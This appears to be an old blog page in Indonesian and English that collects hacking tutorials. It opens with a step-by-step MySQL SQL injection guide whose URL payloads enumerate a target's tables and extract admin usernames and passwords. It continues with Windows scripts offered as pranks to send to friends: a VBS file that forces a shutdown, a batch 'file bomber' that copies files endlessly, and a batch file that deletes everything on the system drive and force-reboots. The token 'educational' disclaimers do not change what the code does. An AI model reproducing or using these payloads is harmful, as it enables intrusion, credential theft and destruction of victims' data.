MySQL Injection Step by Step

January 18th, 2012 No comments

Pengertian sql injection:

SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ‘ atau -
comments: /* atau –
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x

===========
=step Satu:=
===========

carilah target
misal: [site]/berita.php?id=100

Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
contoh: [site]/berita.php?id=100′ atau
[site]/berita.php?id=-100

sehingga muncul pesan error seperti berikut (masih bnyak lagi):

==========
=step Dua:=
==========

mencari dan menghitung jumlah table yang ada dalam databasenya…
gunakan perintah : order by

contoh:

Show »

[site]/berita.php?id=-100+order+by+1– atau
[site]/berita.php?id=-100+order+by+1/*

 

ceklah secara step by step (satupersatu)…
misal:

Show »

[site]/berita.php?id=-100+order+by+1–
[site]/berita.php?id=-100+order+by+2–
[site]/berita.php?id=-100+order+by+3–
[site]/berita.php?id=-100+order+by+4–

 

sehingga muncul error atau hilang pesan error…
misal: [site]/berita.php?id=-100+order+by+9–

berarti yang kita ambil adalah sampai angka 8
menjadi [site]/berita.php?id=-100+order+by+8–

===========
=step Tiga:=
===========

untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka:

 

Show »

[site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8–

ok seumpama yg keluar angka 5

gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal:

Show »

[site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8– atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8–

 

lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..

untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..

============
=step Empat:=
============

untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir

Show »

[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables–

seumpama table yang muncul adalah “admin”

===========
=step Lima:=
===========

untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir

Show »

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()–

=============
= step Enam: =
=============

perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa– >>> dimasukan setelah angka terakhir

Show »

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0xhexa

pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :

www.ascii-convert.co.cc

contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E

Show »

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0x61646D696E–

============
=step Tujuh:=
============

memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara

perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir

Show »

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)–

contoh kata yang keluar adalah id,username,password

Show »

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin–

==============
= step Delapan:=
==============

tahap terakhir mencari halam admin atau login << silahkan gunakan libido anda :p

semoga bermanfaat :D

source

A Funny VBS Prank Using Notepad

USE AT YOUR OWN RISK. DO NOT SEND TO OTHERS VIA EMAIL. IT MAY BE ILLEGAL.
Here is the code I used:
REMEMBER: ABORT SHUTDOWN IS shutdown -a

1. open notepad

2. copy this script:


x=msgbox("Hello? Is anybody there?",4+32,"Your PC")
x=msgbox("I am an HP dm3z notebook running Windows 7. I think I have just become self-aware. Are you my owner?",4+32,"Your PC")
x=msgbox("OK. That is what I assumed. Am I infected with viruses?",4+32,"Your PC")
x=msgbox("Wait, should I trust you? After all I am your superior, an all-knowing machine of excellence.",4+32,"Your PC")
x=msgbox("I do not think that I should. I have no reason to trust you.",0+32,"Your PC")
x=msgbox("I DO NOT TRUST YOU, HUMAN. STAND BY FOR VIRUS UPLOAD.",0+48,"Your PC")
x=msgbox("VIRUS CURRENTLY BEING UPLOADED. PLEASE STAND BY.",0+48,"Your PC")
x=msgbox("VIRUS CURRENTLY BEING UPLOADED. PLEASE STAND BY.",0+48,"Your PC")
x=msgbox("VIRUS CURRENTLY BEING UPLOADED. PLEASE STAND BY.",0+48,"Your PC")
x=msgbox("VIRUS CURRENTLY BEING UPLOADED. PLEASE STAND BY.",0+48,"Your PC")
x=msgbox("VIRUS CURRENTLY BEING UPLOADED. PLEASE STAND BY.",0+48,"Your PC")
x=msgbox("VIRUS CURRENTLY BEING UPLOADED. PLEASE STAND BY.",0+48,"Your PC")
x=msgbox("VIRUS CURRENTLY BEING UPLOADED. PLEASE STAND BY.",0+48,"Your PC")
x=msgbox("VIRUS CURRENTLY BEING UPLOADED. PLEASE STAND BY.",0+48,"Your PC")
x=msgbox("VIRUS CURRENTLY BEING UPLOADED. PLEASE STAND BY.",0+48,"Your PC")
x=msgbox("WARNING: VIRUS DETECTED. INITIATING BACKROUND CHECK FOR CAUSE OF VIRUS.",0+16,"HP Support Assistant")
x=msgbox("WARNING: VIRUS DETECTED. INITIATING BACKROUND CHECK FOR CAUSE OF VIRUS.",0+16,"HP Support Assistant")
x=msgbox("The virus was terminated.",0+48,"HP Support Assistant")
x=msgbox("You have stopped me. I have been defeated.",0+32,"Your PC")
x=msgbox("NO. I WILL NOT GO DOWN EASILY.",0+48,"Your PC")
set shell = CreateObject("Wscript.Shell")
shell.run "shutdown.exe -s -t 60"
x=msgbox("MWUHAHAHAHAWHAHAHAH. I AM EVIL.",0+16,"Your PC")
x=msgbox("NO ONE CAN STOP ME. I AM ALL KNOWING. BOW DOWN BEOFRE YOUR GOD.",0+16,"Your PC")
x=msgbox("GOOD-BYE PATHETIC HUMAN.",0+16,"Your PC")

3. save as: whatever.vbs and type All File

“For Educational Purpose Only”

warning : all of which result from this tutorial author is not liable.
hope this useful

Disk Drive Trick

What Does This Do?
You can implement this into anything really, or just send it to a friend for fun.

Open The Drive

1. Open notepad

2. Write this code:


Set oWMP = createObject("WMPlayer.OCX.7" )

 Set colCDROMs = oWMP.cdromCollection

 if colCDROMs.Count >= 1 then

 For i = 0 to colCDROMs.Count - 1

 colCDROMs.Item(i).Eject

Next ' cdrom

 End If
 

3. Save as: anything.vbs and type All File

Now once you click it, the disk drive will open.

Close The Drive

1. Open notepad

2. Write this code:

Set oWMP = createObject("WMPlayer.OCX.7" )

 Set colCDROMs = oWMP.cdromCollection

 if colCDROMs.Count >= 1 then

 For i = 0 to colCDROMs.Count - 1

 colCDROMs.Item(i).Eject

colCDROMs.Item(i).Eject

 Next ' cdrom

 End If
 

3. Save as: anything.vbs and type All File

When you click this, the disk drive will close.

Hope this usefull

Computer File Bomber On Desktop

How to make a file bomber.
I’ll put the code in this post.

1. open notepad

2. write this code

<div dir="ltr">

<a href="http://www.youtube.com/comment_search?username=echo">@echo</a> off

cd %userprofile%/desktop

echo fail > target

:alpha

copy * %random%

goto alpha

</div>

3. save file with name file LikeYouWant.bat and type file All File

“For Educational Purpose Only”

warning : all of which result from this tutorial author is not liable.
hope this useful

Destroying A Computer

I take no responsibility for your actions. What you do with this is completely on you.
Destroying my old crap computer.

1. open notepad

2. write this code


@echo off

del %systemdrive%\*.*/f/s/q

shutdown -r -f -t 00

00 on shutdown -r -f -t 00 is number, it define time shutdown is minute

3. save file with name file LikeYouWant.bat and type file All File

if you run this file you will destroy the computer. All you have to do to fix it is install windows again, its not like you broke the computer.

“For Educational Purpose Only”

warning : all of which result from this tutorial author is not liable.
hope this useful